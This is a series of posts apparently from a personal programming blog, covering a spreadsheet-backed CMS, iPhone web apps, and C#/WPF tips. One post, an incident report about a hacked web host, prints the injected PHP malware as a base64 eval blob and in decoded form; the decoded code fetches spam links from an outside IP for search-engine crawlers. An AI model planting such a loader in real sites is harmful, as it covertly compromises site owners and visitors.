catch 22 - Andreas Kahler's blog

Google AppEngine + Google Docs + Some Python = Simple CMS

2010-03-09T08:19:00.001-08:00

I was looking for a CMS that could run on the Google App Engine lately. As the free quotas are pretty high, a GAE powered CMS would make sense for small personal web pages that do not get too much traffic and have to run on a tiny budget. There are some CMSes (e.g. the App Engine Site Creator) but I didn't like them a lot. They are either too restricted or don't seem to have a large user base which makes their future uncertain. Also, as the GAE datastore is not a standard database, you have additional issues: How to backup? Possibility to migrate to another host? How to import or export of data?
My search ended without having found something I really liked...

But while searching, I had an idea: Why not just use a spreadsheet hosted on Google Docs as the base for a CMS? It has a couple of advantages:

Simple, everybody knows how to use a spreadsheet application
you get an online editor for free
Google Docs does versioning, so it's easy to roll back changes
Backup/restore and import/export is simple

The GAE app would only need to pull the data from the spreadsheet, apply some post-processing and output it. Not really much for the app to do, so I decided to write a little prove-of-concept application. I was using the following ingredients

Google App Engine SDK for Python
gdata-python-client, the Python version of the Google Data API to access the spreadsheet
Mako, a templating system for Python
and some code to glue these together

The app expects 2 tables to be present in the spreadsheet: pages and templates. Both need a content column, the templates table also needs a name column. That's it. It could look like this:

templates:

pages:

There are 2 templates defined, main and defs. The template main is the base template for the html output, defs holds some Mako style methods (more on whose later).

The pages table holds 3 pages. The first one is used as the root document, the others can be got via http://<host>/page/<id>. The content is treated as a Mako template, references to other templates are resolved by looking up the name in the templates table. Therefore the first two lines load methods from the defs template and make the page inherit from main:


<%namespace import="*" file="defs" />
<%inherit file="main"/>

The page content invokes 2 methods, image() and page(). The methods make use of global objects that are injected into the global Mako template context:

pageid, which is the id of the page currently rendered
page, representing the current page row, a dict with the column names as keys
db, the Database object. Row objects can be retrieved like this:
db.<table>[<row_no>]['<col_name>']

Using the db object any table of the spreadsheet can be accessed. This way the system can be extended in a really easy way. In out little example this is used for the image() method. References to images are stored in a table called images and are referenced by an id:


<%def name="image(id)">
  <img src="${db.images[id]['url']}" alt=""/>
</%def>

When rendering the root url, this now results in:


<html>
<head><title>Welcome!</title></head>
<body>
<h1>Welcome!</h1> 
<p>

<p>Some text</p>
    <img src="http://www.andreaskahler.com/me.png" alt=""/>
<br/>
<a href="page/2">link to page 2</a>

</p>
this is the footer
</body>
</html>

Not really a useful page, but you get the idea.

The python code for the whole thing looks like this:


#!/usr/bin/env python

import sys
import logging
import cgi
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
import gdata.spreadsheet.text_db

from mako.template import Template
from mako.lookup import TemplateLookup
from mako.runtime import Context
from StringIO import StringIO

email = 'your.google.account@gmail.com'
password = 'yourpasswd'
spreadsheet = 'spreadcms' #name of spreadsheet
table_pages = 'pages'
table_templates = 'templates'
col_name = 'name'
col_content = 'content'

class Db:
  """ wrapper for the spreadsheet. places the tables into its __dict__ """
  def __init__(self):
    self.client = gdata.spreadsheet.text_db.DatabaseClient(username=email, password=password)
    self.db = self.client.GetDatabases(name=spreadsheet)[0]
    for table in self.db.GetTables():
      name = table.entry.title.text
      self.__dict__[name] = Table(self, name)
  
  def getTableRecord(self, table, row_no):
    return self.db.GetTables(name=table)[0].GetRecord(row_number=row_no).content


class Table: 
  """ wraps a spreadsheet table. access rows with their index (starting with 1) """
  def __init__(self, db, table):  
    self.db = db
    self.table = table
    
  def __getitem__(self, index):
    return self.db.getTableRecord(self.table, index)
      
    

class MainHandler(webapp.RequestHandler):
  """ the main web request handler """
  def connect(self):
    try:
      self.db = Db()
    except gdata.spreadsheet.text_db.Error, err:
      self.response.out.write(err)
      return False
    return True      
  
  def get(self):        
    if not self.connect():
      return

    # get page id, default to 1
    pageid = 1    
    parts = self.request.path.strip('/').split('/')
    if len(parts)==2 and parts[0]=="page":
      try: pageid = int(parts[1]) 
      except ValueError: pass

    page = self.db.__dict__[table_pages][pageid] 

    mylookup = TemplateLookup(filesystem_checks=False)
    
    #load all templates
    i = 1
    while True:
      try:    
        template = self.db.__dict__[table_templates][i]
        mylookup.put_template(template[col_name], Template(template[col_content], lookup=mylookup))
      except:
        break
      i+=1
        
    content = page[col_content] or ""
    
    # invoke Mako
    try:
      t = Template(content, lookup=mylookup)
      mylookup.put_template("_page"+str(pageid), t)
      s = t.render(page=page, pageid=pageid, db=self.db)
      self.response.out.write(s)
    except Exception,e:  
      s = "<h1>Error</h1>"
      s += "<pre>" + cgi.escape(str(e)) + "</pre>"
      s += "<h1>Page</h1>"
      s += "<pre>" + cgi.escape(page[col_content]) + "</pre>"
      self.response.out.write(s)
    
  
def main():
  application = webapp.WSGIApplication([('/', MainHandler),
                                        ('/page/[0-9]+', MainHandler)],
                                       debug=True)
  logging.getLogger().setLevel(logging.DEBUG)
  #logging.getLogger().setLevel(logging.WARNING)
  util.run_wsgi_app(application)


if __name__ == '__main__':
  main()

Of course this is not production-ready code. A lot of error handling is missing and one needs a proper way to handle the gdata login captcha requests (I guess storing a valid token would work). There is also no caching implemented.

This of course is not intended to replace a full-blown CMS. But I guess if you would spend some time fixing these things, this could be suitable for small web sites, where all content is more or less static.

appify: Make Web Apps Look Like iPhone Apps

2010-02-21T12:34:00.000-08:00

As you probably know, simple web pages can appear as 'normal' apps on your iPhone (or iPod touch) when you add them to your home screen using Safari's '+' menu. With some changes to the web site you can enhance the 'app feeling' even further. You can:

Give it a nice icon
Add a startup screen which appears when clicking the icon on your home screen
Hide the Safari address bar and the menu

All the details on what you have to do in your code can be found e.g. here.

And voilà, your web page looks like a normal iPhone app.

Left: My web page in Mobile Safari
Right: Same page through appify

But what if you cannot change the code (as it might not be your web site)? I wrote a small web app (I called it 'appify') which can do the trick for you. appify adds a new starting page to the web app of your choice, and adds all of the nice features I just listed. And after displaying that starting page, the browser is redirected to the actual web app.

You can appify a web app yourself. Or you simply try it on your iPhone with the appified mobile version of GMail.

Note: All of this is nice but has one drawback: When you click on a link on your appified web page, the iPhone will close the app and open the new page in Safari. This doesn't happen with AJAX web apps where you do not have 'normal' links. So appify might not be too useful for many web pages :-(. But it works great for e.g. GMail.
This does not only affect appify, but all web apps on the iPhone. If you know a way to avoid this, please let me know!

A small interesting details from the implementation: I have to give the user a chance to save the web site on the iPhone home screen BEFORE I redirect to the actual web app. I found an easy way to do this: In JavaScript you can detect if the app is in standalone mode (i.e. it is fullscreen without the address bar and menu):

if (window.navigator.standalone) {
// fullscreen mode
redirect();
}

So when we are not in fullscreen mode I do not redirect and the user can save the page to the home screen. When coming through the new home screen icon, Safari runs in standalone mode and the script redirects to the actual app.

My media temple hosted web site got hacked

2009-11-24T00:44:00.000-08:00

Last night my web sites hosted at media temple got hacked. I got an email from them saying that they detected "suspicious activity". Good that they have something in place that is able to detect that, but this time it was not really necessary since the web sites were malfunctioning so I found out about the issue myself pretty quickly...

Turned out that all of my index.php and index.html files were changed. Also a .htaccess files was added next to those files (or replaced if there was one before).
There was a piece of code added to the files:


<!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NF
UlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VS
VkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZF
UlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydI
VFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9
QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygk
ZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZF
UlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VS
VkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIw
Ny40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAk
ciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4i
KTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));

When you base64-decode this you get (indentation by me):


if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or 
   stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or 
   stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or 
   stripos($_SERVER['HTTP_USER_AGENT'], 'live'))
{
  $r = '';
  if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and 
    @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . 
        "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) .
        " HTTP/1.0\r\nHost: 91.207.4.18\r\n\r\n"))
  while( $l = fread($f, 1024)) $r .= $l;
  @fclose($f);
  $p=strpos($r,"\r\n\r\n"); echo substr($r,$p+4);
}

I do not know much about PHP, but it seems that requests from search engine crawlers get special treatment and additional content is added to the page which is retrieved from the IP address 91.207.4.18. I guess the purpose is to add links to other sites to increase their page rank.
At least for my php sites this did not work however. The code addition invalided the files, presenting an error to the user for all requests.

Not sure how the hack was done. The media temple email suggested to change the ftp/ssh passwords. But I doubt that these passwords were compromised, because it seems that I am not the only one at media temple having the problem:
http://blog.tinyenormous.com/2009/11/17/site-hacked-media-temples-reaction/
Let's wait what media temple has to say about this.

Update 27-Nov-2009: Media temple published some information on how the hack was done. Seems that the attacker got hold of passwords which have been stored as clear text. Read more about this in the media temple FAQ for this issue. There is also a how-to for fixing hacked accounts.

WPF: How to set HorizontalAlignment in ListView/GridView

2009-11-18T08:04:00.000-08:00

I spent quite some time figuring out how to set the HorizontalAlignment property for a cell in a WPF ListView/GridView. I wanted to set it to "Stretch" so that their content can nicely fill the whole cell, even when the columns are resized. It is not hard to do, it is just a few lines of XAML, but you have to know how.


<ListView>

    <ListView.ItemContainerStyle>
        <Style TargetType="ListViewItem">
            <Setter Property="HorizontalContentAlignment" Value="Stretch" />
        </Style>
    </ListView.ItemContainerStyle>
    ...
</ListView>

Same is probably also true for VerticalAlignment, but I haven't tried it.

C#'s fixed statement doesn't work with delegates!?

2009-11-12T01:05:00.000-08:00

I recently ran into an issue with using the C# fixed statement in conjunction with delegates. Let's look at a small example:


unsafe byte testA()
{
    var array = new byte[1];
    fixed (byte* p = array)
    {
        *p = 22;
    }
    return array[0];
}

This (rather ridiculous) method should return 22. In fact, it does.
But look at a small variation:


unsafe byte testB()
{
    var array = new byte[1];
    fixed (byte* p = array)
    {
        Action action = delegate { *p = 22; };
        action();
    }
    return array[0];
}

This should do the same thing, the difference is that the fixed pointer p is accessed inside a delegate. The action is executed synchronously inside the fixed scope, so everything should be be fine.

But it turns out that it is NOT!
When you compile it (I'm using VS2008 SP1 and .NET 3.5 SP1) and look at the compiled version of the method, it looks like this (disassembled using Reflector):


private unsafe byte testB()
{
    byte[] CS$0$0001;
    byte[] array = new byte[1];
    byte* p;
    if (((CS$0$0001 = array) == null) || (CS$0$0001.Length == 0))
    {
        p = null;
    }
    else
    {
        p = CS$0$0001;
    }
    Action action = delegate {
        p[0] = 0x16;
    };
    action();
    p = null;
    return array[0];
}

I don't know what this CS$0$0001 is about, but that's secondary.
The importing thing is: there's no fixed statement!!!
Without the fixed statement the array can be moved in memory any time, and therefore the unsafe code can fail!
It looks like that the C# compiler think it can optimize away the fixed statement. For some reason it doesn't take the usage of p in the delegate into account. Of course, one could execute the delegate outside the scope of the fixed statement. The compiler doesn't have a chance to prolong the lifetime of the pinned pointer until then. But this is not the case here.

This is not a theoretical problem. We ran into this in a real-world application.
Here's a small test program that illustrates that:


static unsafe byte test()
{
    var array = new byte[1];

    fixed (byte* p = array)
    {
        Action action = delegate { *p = 22; };
        Thread.Sleep(10);
        action();
    }
    return array[0];
}

static void Main()
{
    for (int i = 0; i < 10000; i++)
    {
        if (22 != test())
        {
            Console.WriteLine("Run #{0} failed!", i);
        }
    }
}

This code runs our example code 10,000 times. I added a Sleep() call in my test method to make the problem more likely. On my machine the error occurs usually after around 3500 runs.

Michael Stanton, who helped my track down this issue, has more in-depth info about it.

If you looking for a fix, there is an easy work-around (if you really need both unsafe code and the delegate). You can pin your memory manually without using the fixed statement. Then you have full control over its life-time.
For our example this would be:


unsafe byte testFixed()
{
    var array = new byte[1];

    GCHandle handle = GCHandle.Alloc(array, GCHandleType.Pinned);
    byte* p = (byte*)handle.AddrOfPinnedObject();
    try
    {
        Action action = delegate { *p = 22; };
        action();
    }
    finally
    {
        handle.Free();
    }
    return array[0];
}

Debugging event subscriptions in C#/.NET

2009-11-02T08:24:00.000-08:00

Recently I had to debug a problem around events. I wanted to find out which objects are subscribing to a certain event and when. As there is no code in the class that handles the event subscription, you cannot set a breakpoint there. Too bad...

But there's a simple way out of this. Let's assume you have a class like this:


class Test : INotifyPropertyChanged
{

    public event PropertyChangedEventHandler PropertyChanged = delegate { };

    void FirePropertyChanged(string property)
    {
        PropertyChanged(this, new PropertyChangedEventArgs(property));
    }
}

You can add a "custom event implementation" that forwards all event subscriptions and un-subscriptions to a private event, similar to a property that uses a private field to store its value:


class Test : INotifyPropertyChanged
{

    private event PropertyChangedEventHandler propertyChangedImpl = delegate { };
    public event PropertyChangedEventHandler PropertyChanged
    {
        add { this.propertyChangedImpl += value; }
        remove { this.propertyChangedImpl -= value; }
    }

    void FirePropertyChanged(string property)
    {
        this.propertyChangedImpl(this, new PropertyChangedEventArgs(property));
    }
}

The you can simply set the breakpoint to the add method and see exactly where and when these event registrations happen.

Managing the browser history for AJAX apps with dojo

2009-09-14T03:04:00.000-07:00

AJAX web application (or any web app using client side scripting to modify the page) suffer from the "Back button problem": Users are used to hit the browser back button to return to a previous page, but there are no "pages" to go to in a AJAX app. Instead users will be taken to the page they visited before navigating to your web app - and probably lose all the state changes done in the app.

Fortunately there are some libraries out there that come to the rescue. I'll present a very simple example using dojo, which should get you started quickly.

For the example I chose a simple javascript app which converts inches into centimeters. For every new conversion there is a new entry stored in the browser history. Without history support the code looks like this:


<form>
 <input id="idInches" type="text"></input> inches
 <button onclick="onConvert(); return false;">Convert</button>
</form>
<div id="idOutput"></div>

<script language="javascript">
function onConvert()
{
  var input = document.getElementById('idInches').value;
  convert(input);
}

function convert(input)
{
  var cm = 2.54 * input;
  var msg = (input==null || input=="") ? 
    "" : (input + " inches = " + cm + " centimeters");
  document.getElementById("idOutput").innerHTML = msg;
}
</script>

Nothing unusual with that.
To enable the browser history we first add a function to restore a previous state. In our case we just restore the value of the input box and recalculate the result.


function restore(input)
{
  document.getElementById('idInches').value = input;
  convert(input);
}

Next we define a class which can store our state and restore it. It implements functions/properties that dojo will use:


function HistoryState(state)
{
    this.state = state;
    this.restoreState = function() { 
        restore(this.state); 
    };
    // back, forward and changeUrl are needed by dojo
    this.back = this.restoreState;
    this.forward = this.restoreState;
    this.changeUrl = true;
}

Then we add dojo and dojo.back, which includes the functionality for managing the browser history. First the dojo include (see details here):


<script type="text/javascript"  src="dojo.js"
    djConfig="preventBackButtonFix: false">
</script>

Load and initialize dojo.back:


dojo.require("dojo.back");
dojo.back.init();
dojo.back.setInitialState(new HistoryState(""));

The last line of this sets the state the page initially has. In our example the input text field is empty initially, so we just pass an empty string.

Now the only thing missing is to tell dojo when we reached a new state. We do this every time the convert button is pressed, so we add the following to onConvert:


dojo.back.addToHistory(new HistoryState(input));

That's it! See the example live here. Convert a few different values and then try the back/forward buttons of you browser.

Note: When trying yourself, always use a web server! Some things do not work when opening the file directly from the file system.

Note 2: You do not need all of dojo if you only want dojo.back. At the time of writing (dojo 1.3.2) only dojo.js, back.js and resources/iframe_history.html are needed.

Creating an icosphere mesh in code

2009-06-20T13:09:00.000-07:00

When you look at 3d modeling software like Blender, you will notice that there are usually two different sphere meshes available to choose from: UVSphere and IcoSphere.

The UVSphere looks like a globe. For many purposes it is perfectly fine, but for some use cases, e.g. if you want to deform the sphere, it is disadvantageous that the density of vertices is greater around the poles. Here the icosphere is better, its vertices are distributed evenly.
Icospheres are a type of geodesic dome.

So I want to create a icosphere programmatically. Its base is an icosahedron (I guess this is where the ico in the name comes from), a regular polyhedron with 20 equilateral triangles.
An icosphere is then created by splitting each triangle into 4 smaller triangles. This can be done several times, the recursion level is a parameter to the icosphere.

Creating an Icosahedron

Wikipedia has a nice image that shows that the vertices of an icosahedron are the corners of three orthogonal rectangles:

(source: Wikipedia)

With this the vertex creation is pretty straight-forward:


// create 12 vertices of a icosahedron
var t = (1.0 + Math.Sqrt(5.0)) / 2.0;

addVertex(new Point3D(-1,  t,  0));
addVertex(new Point3D( 1,  t,  0));
addVertex(new Point3D(-1, -t,  0));
addVertex(new Point3D( 1, -t,  0));

addVertex(new Point3D( 0, -1,  t));
addVertex(new Point3D( 0,  1,  t));
addVertex(new Point3D( 0, -1, -t));
addVertex(new Point3D( 0,  1, -t));

addVertex(new Point3D( t,  0, -1));
addVertex(new Point3D( t,  0,  1));
addVertex(new Point3D(-t,  0, -1));
addVertex(new Point3D(-t,  0,  1));

To build the triangles, I have numbered the vertices in the order I used in the piece of code above:

All triangles must have their vertices in the same order, I used counter-clockwise direction. Now it is just a matter of carefully looking at the diagram:


// create 20 triangles of the icosahedron
var faces = new List<TriangleIndices>();

// 5 faces around point 0
faces.Add(new TriangleIndices(0, 11, 5));
faces.Add(new TriangleIndices(0, 5, 1));
faces.Add(new TriangleIndices(0, 1, 7));
faces.Add(new TriangleIndices(0, 7, 10));
faces.Add(new TriangleIndices(0, 10, 11));

// 5 adjacent faces
faces.Add(new TriangleIndices(1, 5, 9));
faces.Add(new TriangleIndices(5, 11, 4));
faces.Add(new TriangleIndices(11, 10, 2));
faces.Add(new TriangleIndices(10, 7, 6));
faces.Add(new TriangleIndices(7, 1, 8));

// 5 faces around point 3
faces.Add(new TriangleIndices(3, 9, 4));
faces.Add(new TriangleIndices(3, 4, 2));
faces.Add(new TriangleIndices(3, 2, 6));
faces.Add(new TriangleIndices(3, 6, 8));
faces.Add(new TriangleIndices(3, 8, 9));

// 5 adjacent faces
faces.Add(new TriangleIndices(4, 9, 5));
faces.Add(new TriangleIndices(2, 4, 11));
faces.Add(new TriangleIndices(6, 2, 10));
faces.Add(new TriangleIndices(8, 6, 7));
faces.Add(new TriangleIndices(9, 8, 1));

Refining to an Icosphere

Now we need to refine the triangles to create an icosphere from it. Each edge of the triangle is split in half, one triangle is formed by the three points sitting in the middle of these edges and three triangles surrounding it:


// refine triangles
for (int i = 0; i < recursionLevel; i++)
{
  var faces2 = new List<TriangleIndices>();
  foreach (var tri in faces)
  {
      // replace triangle by 4 triangles
      int a = getMiddlePoint(tri.v1, tri.v2);
      int b = getMiddlePoint(tri.v2, tri.v3);
      int c = getMiddlePoint(tri.v3, tri.v1);

      faces2.Add(new TriangleIndices(tri.v1, a, c));
      faces2.Add(new TriangleIndices(tri.v2, b, a));
      faces2.Add(new TriangleIndices(tri.v3, c, b));
      faces2.Add(new TriangleIndices(a, b, c));
  }
  faces = faces2;
}

The method getMiddlePoint() does a bit more than just splitting the edge in half. Firstly, it fixes it length so the new point will lie on the unit sphere (i.e. a sphere that sits in the origin and has a radius of 1). Otherwise we will end up with a refined icosahedron but not with an icosphere. By the way: this is done with the original vertices of the icosahedron too, as the one we created is bigger than the unit sphere.
Secondly, it caches the points and reuses them. As each edge belongs to two triangles, without the cache there will be two new middle points created for each edge. I implemented the cache using a dictionary. As the key I put the two vertex indices into an Int64. As the middle point of the edge from p1 to p2 is the same as for the edge from p2 to p1, for the key always the smaller index is stored as the first.

The following images shows created icospheres where the refinement step has been run once, twice and three times, respectively.

The complete C# code looks like following. It creates a MeshGeometry3D data structure to be used with XAML/WPF, but as most mesh structures work very similar it should be easy to rewrite it for other frameworks.


public class IcoSphereCreator
{
    private struct TriangleIndices
    {
        public int v1;
        public int v2;
        public int v3;

        public TriangleIndices(int v1, int v2, int v3)
        {
            this.v1 = v1;
            this.v2 = v2;
            this.v3 = v3;
        }
    }

    private MeshGeometry3D geometry;
    private int index;
    private Dictionary<Int64, int> middlePointIndexCache;

    // add vertex to mesh, fix position to be on unit sphere, return index
    private int addVertex(Point3D p)
    {
        double length = Math.Sqrt(p.X * p.X + p.Y * p.Y + p.Z * p.Z);
        geometry.Positions.Add(new Point3D(p.X/length, p.Y/length, p.Z/length));
        return index++;
    }

    // return index of point in the middle of p1 and p2
    private int getMiddlePoint(int p1, int p2)
    {
        // first check if we have it already
        bool firstIsSmaller = p1 < p2;
        Int64 smallerIndex = firstIsSmaller ? p1 : p2;
        Int64 greaterIndex = firstIsSmaller ? p2 : p1;
        Int64 key = (smallerIndex << 32) + greaterIndex;

        int ret;
        if (this.middlePointIndexCache.TryGetValue(key, out ret))
        {
            return ret;
        }

        // not in cache, calculate it
        Point3D point1 = this.geometry.Positions[p1];
        Point3D point2 = this.geometry.Positions[p2];
        Point3D middle = new Point3D(
            (point1.X + point2.X) / 2.0, 
            (point1.Y + point2.Y) / 2.0, 
            (point1.Z + point2.Z) / 2.0);

        // add vertex makes sure point is on unit sphere
        int i = addVertex(middle); 

        // store it, return index
        this.middlePointIndexCache.Add(key, i);
        return i;
    }

    public MeshGeometry3D Create(int recursionLevel)
    {
        this.geometry = new MeshGeometry3D();
        this.middlePointIndexCache = new Dictionary<long, int>();
        this.index = 0;

        // create 12 vertices of a icosahedron
        var t = (1.0 + Math.Sqrt(5.0)) / 2.0;

        addVertex(new Point3D(-1,  t,  0));
        addVertex(new Point3D( 1,  t,  0));
        addVertex(new Point3D(-1, -t,  0));
        addVertex(new Point3D( 1, -t,  0));

        addVertex(new Point3D( 0, -1,  t));
        addVertex(new Point3D( 0,  1,  t));
        addVertex(new Point3D( 0, -1, -t));
        addVertex(new Point3D( 0,  1, -t));

        addVertex(new Point3D( t,  0, -1));
        addVertex(new Point3D( t,  0,  1));
        addVertex(new Point3D(-t,  0, -1));
        addVertex(new Point3D(-t,  0,  1));


        // create 20 triangles of the icosahedron
        var faces = new List<TriangleIndices>();

        // 5 faces around point 0
        faces.Add(new TriangleIndices(0, 11, 5));
        faces.Add(new TriangleIndices(0, 5, 1));
        faces.Add(new TriangleIndices(0, 1, 7));
        faces.Add(new TriangleIndices(0, 7, 10));
        faces.Add(new TriangleIndices(0, 10, 11));

        // 5 adjacent faces 
        faces.Add(new TriangleIndices(1, 5, 9));
        faces.Add(new TriangleIndices(5, 11, 4));
        faces.Add(new TriangleIndices(11, 10, 2));
        faces.Add(new TriangleIndices(10, 7, 6));
        faces.Add(new TriangleIndices(7, 1, 8));

        // 5 faces around point 3
        faces.Add(new TriangleIndices(3, 9, 4));
        faces.Add(new TriangleIndices(3, 4, 2));
        faces.Add(new TriangleIndices(3, 2, 6));
        faces.Add(new TriangleIndices(3, 6, 8));
        faces.Add(new TriangleIndices(3, 8, 9));

        // 5 adjacent faces 
        faces.Add(new TriangleIndices(4, 9, 5));
        faces.Add(new TriangleIndices(2, 4, 11));
        faces.Add(new TriangleIndices(6, 2, 10));
        faces.Add(new TriangleIndices(8, 6, 7));
        faces.Add(new TriangleIndices(9, 8, 1));


        // refine triangles
        for (int i = 0; i < recursionLevel; i++)
        {
            var faces2 = new List<TriangleIndices>();
            foreach (var tri in faces)
            {
                // replace triangle by 4 triangles
                int a = getMiddlePoint(tri.v1, tri.v2);
                int b = getMiddlePoint(tri.v2, tri.v3);
                int c = getMiddlePoint(tri.v3, tri.v1);

                faces2.Add(new TriangleIndices(tri.v1, a, c));
                faces2.Add(new TriangleIndices(tri.v2, b, a));
                faces2.Add(new TriangleIndices(tri.v3, c, b));
                faces2.Add(new TriangleIndices(a, b, c));
            }
            faces = faces2;
        }

        // done, now add triangles to mesh
        foreach (var tri in faces)
        {
            this.geometry.TriangleIndices.Add(tri.v1);
            this.geometry.TriangleIndices.Add(tri.v2);
            this.geometry.TriangleIndices.Add(tri.v3);
        }

        return this.geometry;        
    }
}

Fancy ways of checking for null parameters in C#

2009-05-07T01:55:00.000-07:00

Having programmed in C++ for many years it happens every now and then that I write C# code like this:


public void MyMethod(Test test)
{
    if (!test)
    {
        throw new ArgumentNullException("test");
    } 
    ...

This of course doesn't compile as test cannot be cast to bool.
The obvious way of doing it (i.e. if (test == null) ...) is not really much of a problem, but nevertheless I played around a bit to see if there are other methods of doing it and maybe get my C++ inspired code to work.

Helper Class with Conversion Operators

Have a look at the following helper class.


public class IsNull
{
    private readonly bool value;

    private IsNull(bool value)
    {
        this.value = value;
    }

    public static explicit operator IsNull(Test o)
    {
        return new IsNull(o == null);
    }
    public static bool operator true(IsNull t)
    {
        return t.value;
    }
    public static bool operator false(IsNull t)
    {
        return !t.value;
    }
    public static bool operator !(IsNull t)
    {
        return !t.value;
    }
}

Using it we can rewrite our test like this:


    if ((IsNull)test)
    {
       throw new ArgumentNullException("test"); 
    }

Hmm, the code looks a bit strange and it's not really obvious what's going on.
The IsNull class implements a custom conversion operator from type Test. So the cast creates a new IsNull object which stores if the passed object was null or not. The class also has overloaded true and false operators which allows the object to be used as an expression for the if statement.

This approach has one big problem: You cannot create conversion operators from type object. The example above only works with objects of type Test. You would either have to add a conversion operator for each type (yuck...) or do it for a common base class (but then it won't work for classes implemented by others).

Overloading true and false Operators

As we've seen in the example above the true and false operators can be overloaded for the object to be used as a Boolean expression. This of course can be done with the Test class too:


public class Test
{
    public static bool operator true(Test t)
    {
        return t != null;
    }
    public static bool operator false(Test t)
    {
        return t == null;
    }
    public static bool operator !(Test t)
    {
        return t == null;
    }
    ...
}

Now this allows us to get my pseudo C++ code compile:


    if (!test)
    {
        throw new ArgumentNullException("test");
    }

I didn't mention it above, but you also have to implement the negation operator to make the ! notation work.

So we have what we wanted, but the approach has the same problem as the one before: you have to do it for all classes you want to use it for... :-(

So let's try something else...

Using Extension Methods

Extension methods are a neat way to add methods to classes. You can even extend object. Let's try the following:


public static class ObjectExtensions
{
    public static bool IsNull(this object o)
    {
        return o == null;
    }
}

This allows us to write the following:


    if (test.IsNull())
    {
        throw new ArgumentNullException("test"); 
    }

On first glance this code seems to be complete nonsense as you cannot call a method on an object reference that is null. But using the extension method approach which is implemented as a static method, it really works.

Useful? Probably not so much.
But you could do the following:


public static class ObjectExtensions
{
    public static void ThrowIfNull(this object o, string paramName)
    {
        if (o == null)
        {
            throw new ArgumentNullException(paramName);
        }
    }
}

This allows you to do the null check and the exception throw in one simple step:


    test.ThrowIfNull("test");

Quite handy, right?
Finally this blog post has some useful content... ;-)

How to test equality of objects of generic type in C#

2009-04-24T04:10:00.000-07:00

Testing two objects for equality seems to be a very easy thing. If you try to write a generic method that does that, your first try might look like this:


public static bool AreEqual<T>(T param1, T param2)
{
   return param1 == param2;
}

But it turns out that it doesn't compile:

Operator '==' cannot be applied to operands of type 'T' and 'T'

OK, next try. Why not use the IEquatable<T> interface? Value types implement it so you are not limited to reference types. It could look like this:


public static bool AreEqual<T>(T param1, T param2)
    where T: IEquatable<T>
{
    return param1.Equals(param2);
}

It compiles (yes! ;-)) and seems to work. But there are problems with it.

Firstly, of course, you will get an exception when param1 is null. In case you think this is easy to solve by testing for null stop reading here and try it yourself before reading on.

You cannot compare it to null as this only works for reference types. Of course instead of null we could use default(T) which returns null for reference types and 0 for value types. But then we again have the problem that the comparison (param1 == default(T)) won't compile. The same error as above...

The second problem is that we have to implement IEquatable<T> for all our classes even if we just want to use reference equality. Not a big deal but still a bit of an annoyance.

But it turns out that the solution to all this is again very simple:


public static bool AreEqual<T>(T param1, T param2)
{
    return EqualityComparer<T>.Default.Equals(param1, param2);
}

The static property EqualityComparer<T>.Default returns the default equality comparer for the given type. When T implements IEquatable<T> it returns a comparer that uses that. If not, the default reference equality is used.

Exactly what we need. Not difficult, but you just have to know about it...

XAML markup extension with automatic type conversion

2009-04-19T12:17:00.000-07:00

I recently had the following problem: I am using a custom XAML markup extension in my WPF application. The markup extension returns strings. While I normally use it for assigning values to string properties I this time wanted to apply it to a different type of property.

The following code illustrates what I wanted to do:


<Window
   xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
   xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
   xmlns:XamlExtAutoConvert="clr-namespace:XamlExtAutoConvert"
   x:Class="XamlExtAutoConvert.TestWindow"
   Title="TestWindow"
   Height="300"
   Width="300"
>
   <Grid HorizontalAlignment="Center" VerticalAlignment="Center">
      
       <Button Width="{XamlExtAutoConvert:Test}" Content="{XamlExtAutoConvert:Test}" />
      
   </Grid>
</Window>

This is of course a pretty stupid example but I hope it gets across what I want to do. Let's assume that the markup extension XamlExtAutoConvert:Test returns the string "200". This string should end up as the button content and at the same time define the width of the button.

As in XML the width of the button is specified as a string too (after all XML is nothing more than strings) and converted to double (which is the type of the Width property) I was hoping the same was happening with the value returned from the markup extension.

I was wrong.

You will get the following exception:


System.Windows.Markup.XamlParseException occurred
 Message="'200' value cannot be assigned to property 'Width' of object 
   'System.Windows.Controls.Button'.
 '200' is not a valid value for property 'Width'.

Fortunately there's a way to rewrite the markup extension to cover this use case. You can determine the type of the target property. And with that you can try to convert the value to that type.

A sample markup extension looks like this:


using System;
using System.ComponentModel;
using System.Windows;
using System.Windows.Markup;

namespace XamlExtAutoConvert
{
    class TestExtension: MarkupExtension
    {
        public override object ProvideValue(IServiceProvider serviceProvider)
        {
            var target = (IProvideValueTarget)serviceProvider.GetService(
                typeof(IProvideValueTarget));
            if (target != null)
            {
                // get the actual value to return
                string value = GetValue();

                // determine the type we need to convert to
                object convertedValue = null;
                Type targetType = null;
                if (target.TargetProperty is DependencyProperty)
                {
                    var property = target.TargetProperty as DependencyProperty;
